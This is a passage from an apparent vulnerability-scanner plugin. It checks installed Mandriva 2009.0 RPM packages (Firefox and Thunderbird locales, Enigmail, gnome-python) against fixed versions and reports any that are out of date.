rpm:\"firefox-ext-mozvoikko~1.0~0.15mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-scribefire\", rpm:\"firefox-ext-scribefire~3.5.1~0.15mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-xmarks\", rpm:\"firefox-ext-xmarks~3.5.10~0.15mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fi\", rpm:\"firefox-fi~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fr\", rpm:\"firefox-fr~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fy\", rpm:\"firefox-fy~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ga_IE\", rpm:\"firefox-ga_IE~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gl\", rpm:\"firefox-gl~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gu_IN\", rpm:\"firefox-gu_IN~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-he\", rpm:\"firefox-he~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hi\", rpm:\"firefox-hi~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hu\", rpm:\"firefox-hu~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-id\", rpm:\"firefox-id~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-is\", rpm:\"firefox-is~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-it\", rpm:\"firefox-it~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ja\", rpm:\"firefox-ja~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ka\", rpm:\"firefox-ka~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-kn\", rpm:\"firefox-kn~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ko\", rpm:\"firefox-ko~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ku\", rpm:\"firefox-ku~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lt\", rpm:\"firefox-lt~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lv\", rpm:\"firefox-lv~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mk\", rpm:\"firefox-mk~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mr\", rpm:\"firefox-mr~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nb_NO\", rpm:\"firefox-nb_NO~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nl\", rpm:\"firefox-nl~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nn_NO\", rpm:\"firefox-nn_NO~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-oc\", rpm:\"firefox-oc~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pa_IN\", rpm:\"firefox-pa_IN~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pl\", rpm:\"firefox-pl~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_BR\", rpm:\"firefox-pt_BR~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_PT\", rpm:\"firefox-pt_PT~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ro\", rpm:\"firefox-ro~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ru\", rpm:\"firefox-ru~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-si\", rpm:\"firefox-si~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sk\", rpm:\"firefox-sk~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sl\", rpm:\"firefox-sl~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sq\", rpm:\"firefox-sq~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sr\", rpm:\"firefox-sr~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sv_SE\", rpm:\"firefox-sv_SE~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-te\", rpm:\"firefox-te~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-th\", rpm:\"firefox-th~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-theme-kfirefox\", rpm:\"firefox-theme-kfirefox~0.16~0.15mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-tr\", rpm:\"firefox-tr~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-uk\", rpm:\"firefox-uk~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_CN\", rpm:\"firefox-zh_CN~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_TW\", rpm:\"firefox-zh_TW~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-extras\", rpm:\"gnome-python-extras~2.19.1~20.29mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda\", rpm:\"gnome-python-gda~2.19.1~20.29mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda-devel\", rpm:\"gnome-python-gda-devel~2.19.1~20.29mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gdl\", rpm:\"gnome-python-gdl~2.19.1~20.29mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkhtml2\", rpm:\"gnome-python-gtkhtml2~2.19.1~20.29mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkmozembed\", rpm:\"gnome-python-gtkmozembed~2.19.1~20.29mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkspell\", rpm:\"gnome-python-gtkspell~2.19.1~20.29mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libdevhelp-1_0\", rpm:\"libdevhelp-1_0~0.21~3.27mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libdevhelp-1-devel\", rpm:\"libdevhelp-1-devel~0.21~3.27mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner1.9.2.20\", rpm:\"libxulrunner1.9.2.20~1.9.2.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner-devel\", rpm:\"libxulrunner-devel~1.9.2.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird\", rpm:\"mozilla-thunderbird~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-af\", rpm:\"mozilla-thunderbird-af~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ar\", rpm:\"mozilla-thunderbird-ar~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-be\", rpm:\"mozilla-thunderbird-be~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-beagle\", rpm:\"mozilla-thunderbird-beagle~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bg\", rpm:\"mozilla-thunderbird-bg~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bn_BD\", rpm:\"mozilla-thunderbird-bn_BD~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ca\", rpm:\"mozilla-thunderbird-ca~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-cs\", rpm:\"mozilla-thunderbird-cs~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-da\", rpm:\"mozilla-thunderbird-da~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-de\", rpm:\"mozilla-thunderbird-de~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-el\", rpm:\"mozilla-thunderbird-el~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-en_GB\", rpm:\"mozilla-thunderbird-en_GB~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail\", rpm:\"mozilla-thunderbird-enigmail~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ar\", rpm:\"mozilla-thunderbird-enigmail-ar~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ca\", rpm:\"mozilla-thunderbird-enigmail-ca~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-cs\", rpm:\"mozilla-thunderbird-enigmail-cs~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-de\", rpm:\"mozilla-thunderbird-enigmail-de~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-el\", rpm:\"mozilla-thunderbird-enigmail-el~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-es\", rpm:\"mozilla-thunderbird-enigmail-es~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fi\", rpm:\"mozilla-thunderbird-enigmail-fi~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fr\", rpm:\"mozilla-thunderbird-enigmail-fr~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-hu\", rpm:\"mozilla-thunderbird-enigmail-hu~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-it\", rpm:\"mozilla-thunderbird-enigmail-it~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ja\", rpm:\"mozilla-thunderbird-enigmail-ja~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ko\", rpm:\"mozilla-thunderbird-enigmail-ko~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nb\", rpm:\"mozilla-thunderbird-enigmail-nb~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nl\", rpm:\"mozilla-thunderbird-enigmail-nl~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pl\", rpm:\"mozilla-thunderbird-enigmail-pl~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt\", rpm:\"mozilla-thunderbird-enigmail-pt~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt_BR\", rpm:\"mozilla-thunderbird-enigmail-pt_BR~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ru\", rpm:\"mozilla-thunderbird-enigmail-ru~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sl\", rpm:\"mozilla-thunderbird-enigmail-sl~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sv\", rpm:\"mozilla-thunderbird-enigmail-sv~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-tr\", rpm:\"mozilla-thunderbird-enigmail-tr~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-vi\", rpm:\"mozilla-thunderbird-enigmail-vi~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_CN\", rpm:\"mozilla-thunderbird-enigmail-zh_CN~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_TW\", rpm:\"mozilla-thunderbird-enigmail-zh_TW~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_AR\", rpm:\"mozilla-thunderbird-es_AR~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_ES\", rpm:\"mozilla-thunderbird-es_ES~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et\", rpm:\"mozilla-thunderbird-et~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et_EE\", rpm:\"mozilla-thunderbird-et_EE~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-eu\", rpm:\"mozilla-thunderbird-eu~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fi\", rpm:\"mozilla-thunderbird-fi~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fr\", rpm:\"mozilla-thunderbird-fr~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fy\", rpm:\"mozilla-thunderbird-fy~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ga\", rpm:\"mozilla-thunderbird-ga~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gd\", rpm:\"mozilla-thunderbird-gd~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gl\", rpm:\"mozilla-thunderbird-gl~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-he\", rpm:\"mozilla-thunderbird-he~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-hu\", rpm:\"mozilla-thunderbird-hu~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-id\", rpm:\"mozilla-thunderbird-id~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-is\", rpm:\"mozilla-thunderbird-is~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-it\", rpm:\"mozilla-thunderbird-it~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ja\", rpm:\"mozilla-thunderbird-ja~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ka\", rpm:\"mozilla-thunderbird-ka~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ko\", rpm:\"mozilla-thunderbird-ko~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lightning\", rpm:\"mozilla-thunderbird-lightning~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lt\", rpm:\"mozilla-thunderbird-lt~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nb_NO\", rpm:\"mozilla-thunderbird-nb_NO~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nl\", rpm:\"mozilla-thunderbird-nl~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nn_NO\", rpm:\"mozilla-thunderbird-nn_NO~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pa_IN\", rpm:\"mozilla-thunderbird-pa_IN~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pl\", rpm:\"mozilla-thunderbird-pl~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_BR\", rpm:\"mozilla-thunderbird-pt_BR~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_PT\", rpm:\"mozilla-thunderbird-pt_PT~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ro\", rpm:\"mozilla-thunderbird-ro~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ru\", rpm:\"mozilla-thunderbird-ru~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-si\", rpm:\"mozilla-thunderbird-si~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = 